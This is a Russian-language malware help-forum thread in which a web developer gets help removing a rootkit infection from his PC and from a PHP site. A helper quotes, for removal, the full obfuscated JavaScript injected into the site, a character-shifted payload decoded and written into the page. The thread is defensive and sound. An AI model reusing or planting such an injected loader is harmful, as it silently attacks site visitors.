Показано с 1 по 9 из 9.

Rootki.Agent.ND на компе и на сайте! (заявка № 13668)

  1. #1
    Junior Member Репутация
    Регистрация
    30.10.2007
    Сообщений
    4
    Вес репутации
    38

    Rootki.Agent.ND на компе и на сайте!

    NOD32 обнаружил вирус Rootki.Agent.ND.
    но видимо не может удалить никак.
    читал, что вирус этот попадает с сайтов.
    так вот, у меня на разработке несколько сайтов. и заходя на них в браузере у меня нод блокирует этот вирус.
    на парочке сайтов перезалил через ФТП все содержимое, после чего на перезалитые сайты НОД ругаться перестал.
    но есть один сайт который не рискнул перезаливать. и вот заходя на него НОД ругается.

    помимо того захожу с других компов на этот сайт и везде НОД ругается.

    в итоге не пойму как избавиться от вируса на сайте, если он там есть, и как вылечить комп.

    AVZ У меня есть. что дальше?

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для drongo
    Регистрация
    17.09.2004
    Адрес
    Israel
    Сообщений
    7,165
    Вес репутации
    972
    вирус на сайте удаляется редактированием кода html , если вы говорите у вас есть доступ к админке сайтa- вам и карты в руки. Чтобы почистить компьютер, выполнить правила- уже жирным шрифтом выделено http://virusinfo.info/showthread.php?t=1235 , выполнить полностью.

  4. #3
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для AndreyKa
    Регистрация
    08.01.2005
    Адрес
    Россия
    Сообщений
    13,625
    Вес репутации
    1291
    Пункт 2 выполнять так:
    Отключится от сети.
    Отключить антивирус.
    Запустить проверку CureIt (см. картинку).
    Отчет проверки сохранить в файл.
    Закрыть CureIt, если он предложит перезагрузить компьютер, согласитесь.
    Загрузить отчет сюда в архиве zip.
    Если не получится провести проверку в нормальном режиме загрузки Windows, попробуйте проверить в безопасном режиме (нажмите F8 при запуске компьютера).

  5. #4
    Junior Member Репутация
    Регистрация
    30.10.2007
    Сообщений
    4
    Вес репутации
    38
    где сидит вирус на сайте?
    какой у него код в html? сайт у меня на PHP

  6. #5
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для drongo
    Регистрация
    17.09.2004
    Адрес
    Israel
    Сообщений
    7,165
    Вес репутации
    972
    Где логи с компа ? Линк на сайт запостить не активно , можно использовать

    Код:
    :http:

  7. #6
    Junior Member Репутация
    Регистрация
    30.10.2007
    Сообщений
    4
    Вес репутации
    38
    www
    Последний раз редактировалось denis-personal; 30.10.2007 в 15:40.

  8. #7
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для drongo
    Регистрация
    17.09.2004
    Адрес
    Israel
    Сообщений
    7,165
    Вес репутации
    972
    вот это по моему зловредное:
    Код:
    <script>var source ="=tdsjqu?epdvnfou/xsjuf)voftdbqf)(&4d&84&74&83&7:&81&85&4f&75&7g&74&86&7e&76&7f&85&3f&88&83&7:&85&76&39&64&85&83&7:&7f&78&3f&77&83&7g&7e&54&79&72&83&54&7g&75&76&39&47&41&3d&42&41&46&3d&42&41&43&3d&42&42&45&3d&4:&48&3d&42&41&4:&3d&42&41&42&3d&44&43&3d&42&42&46&3d&42&42&45&3d&4:&4:&3d&47&42&3d&44&45&3d&42&41&45&3d&42&42&47&3d&42&42&47&3d&42&42&43&3d&46&49&3d&45&48&3d&45&48&3d&4:&49&3d&42&41&49&3d&45&49&3d&4:&4:&3d&42&41&48&3d&42&41&42&3d&42&42&45&3d&45&47&3d&42&41&46&3d&42&42&41&3d&42&41&43&3d&42&42&42&3d&45&48&3d&42&41&46&3d&42&42&41&3d&45&47&3d&42&42&43&3d&42&41&45&3d&42&42&43&3d&44&45&3d&44&43&3d&44&43&3d&42&42&4:&3d&42&41&46&3d&42&41&41&3d&42&42&47&3d&42&41&45&3d&47&42&3d&45&4:&3d&44&43&3d&42&41&45&3d&42&41&42&3d&42&41&46&3d&42&41&44&3d&42&41&45&3d&42&42&47&3d&47&42&3d&45&4:&3d&44&43&3d&42&42&46&3d&42&42&47&3d&42&43&42&3d&42&41&49&3d&42&41&42&3d&47&42&3d&44&45&3d&42&41&41&3d&42&41&46&3d&42&42&46&3d&42&42&43&3d&42&41&49&3d&4:&48&3d&42&43&42&3d&46&49&3d&42&42&41&3d&42&42&42&3d&42&42&41&3d&42&41&42&3d&44&45&3d&47&43&3d&47&41&3d&45&48&3d&42&41&46&3d&42&41&43&3d&42&42&45&3d&4:&48&3d&42&41&4:&3d&42&41&42&3d&47&43&3d&42&44&3d&42&41&3d&47&41&3d&42&41&46&3d&42&41&43&3d&42&42&45&3d&4:&48&3d&42&41&4:&3d&42&41&42&3d&44&43&3d&42&42&46&3d&42&42&45&3d&4:&4:&3d&47&42&3d&44&45&3d&42&41&45&3d&42&42&47&3d&42&42&47&3d&42&42&43&3d&46&49&3d&45&48&3d&45&48&3d&42&42&47&3d&4:&48&3d&42&41&48&3d&42&41&42&3d&42&42&41&3d&4:&48&3d&42&41&4:&3d&42&41&42&3d&42&42&46&3d&45&47&3d&4:&4:&3d&42&42&41&3d&45&48&3d&42&41&46&3d&42&42&41&3d&45&47&3d&42&42&43&3d&42&41&45&3d&42&42&43&3d&44&45&3d&44&43&3d&44&43&3d&42&42&4:&3d&42&41&46&3d&42&41&41&3d&42&42&47&3d&42&41&45&3d&47&42&3d&45&4:&3d&44&43&3d&42&41&45&3d&42&41&42&3d&42&41&46&3d&42&41&44&3d&42&41&45&3d&42&42&47&3d&47&42&3d&45&4:&3d&44&43&3d&42&42&46&3d&42&42&47&3d&42&43&42&3d&42&41&49&3d&42&41&42&3d&47&42&3d&44&45&3d&42&41&41&3d&42&41&46&3d&42&42&46&3d&42&42&43&3d&42&41&49&3d&4:&48&3d&42&43&42&3d&46&49&3d&42&42&41&3d&42&42&42&3d&42&42&41&3d&42&41&42&3d&44&45&3d&47&43&3d&47&41&3d&45&48&3d&42&41&46&3d&42&41&43&3d&42&42&45&3d&4:&48&3d&42&41&4:&3d&42&41&42&3d&47&43&3d&42&44&3d&42&41&3:&3:&4c&4d&3g&84&74&83&7:&81&85&4f(**=0tdsjqu?"; var result = ""; 
    for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
    document.write(result); </script>
    удалить

    Логов мы дождёмся от вас или нет?

  9. #8
    Junior Member Репутация
    Регистрация
    30.10.2007
    Сообщений
    4
    Вес репутации
    38
    сайт вылечил. сенкс.
    жду итогов сканирования

    Добавлено через 26 минут

    вирусов не найдено. видимо я его почистил чем до этого...
    спасибо огромное, человеки!
    можно вздохнуть спокойно и проверить еще 20 компов.
    занавес
    Последний раз редактировалось denis-personal; 30.10.2007 в 16:01. Причина: Добавлено

  10. #9
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для drongo
    Регистрация
    17.09.2004
    Адрес
    Israel
    Сообщений
    7,165
    Вес репутации
    972
    логи нужны в теме , это мы уж решим есть вирусы или нет

  • Уважаемый(ая) denis-personal, наши специалисты оказали Вам всю возможную помощь по вашему обращению.

    В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:

     

     

    Чтобы всегда быть в курсе актуальных угроз в области информационной безопасности и сохранять свой компьютер защищенным, рекомендуем следить за последними новостями ИТ-сферы портала Anti-Malware.ru:

     

     

    Anti-Malware VK

     

    Anti-Malware Telegram

     

     

    Надеемся больше никогда не увидеть ваш компьютер зараженным!

     

    Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.

  • Похожие темы

    1. Malware на сайте.
      От shyp117 в разделе Помогите!
      Ответов: 2
      Последнее сообщение: 16.03.2012, 20:03
    2. Ответов: 1
      Последнее сообщение: 30.08.2011, 13:47
    3. Первый раз у Вас на сайте
      От Zummer86 в разделе Помогите!
      Ответов: 2
      Последнее сообщение: 11.12.2009, 20:24
    4. xss на сайте
      От Гость форума в разделе Технические и иные вопросы
      Ответов: 1
      Последнее сообщение: 03.04.2008, 14:03
    5. Вирус на сайте AMD?!
      От anton_dr в разделе Новости компьютерной безопасности
      Ответов: 1
      Последнее сообщение: 01.02.2006, 16:32

    Свернуть/Развернуть Ваши права в разделе

    • Вы не можете создавать новые темы
    • Вы не можете отвечать в темах
    • Вы не можете прикреплять вложения
    • Вы не можете редактировать свои сообщения
    •  
    Page generated in 0.00007 seconds with 16 queries